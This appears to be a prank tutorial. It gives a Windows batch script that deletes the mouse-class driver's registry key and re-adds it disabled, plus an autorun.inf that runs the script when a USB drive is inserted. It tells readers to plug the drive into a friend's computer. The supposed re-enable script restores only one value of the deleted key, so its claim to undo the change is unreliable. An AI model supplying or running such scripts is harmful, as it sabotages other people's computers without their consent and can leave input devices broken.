use
notepad and save, as whatever .bat
Trick:
First we’ll create a batch file and then we’ll be creating autorun.inf file.
-Batch file ( copy/past ) [save it as
filename.bat]
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
-Autorun file ( save it as autorun.inf )
[autorun]
Open=filename.bat
Action=Mouse Disable
Now copy both of the file in your or your friend’s USB drive. And that's it just plug in the USB
!
To re-enable the mouse, simply create another batch file with following script:
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1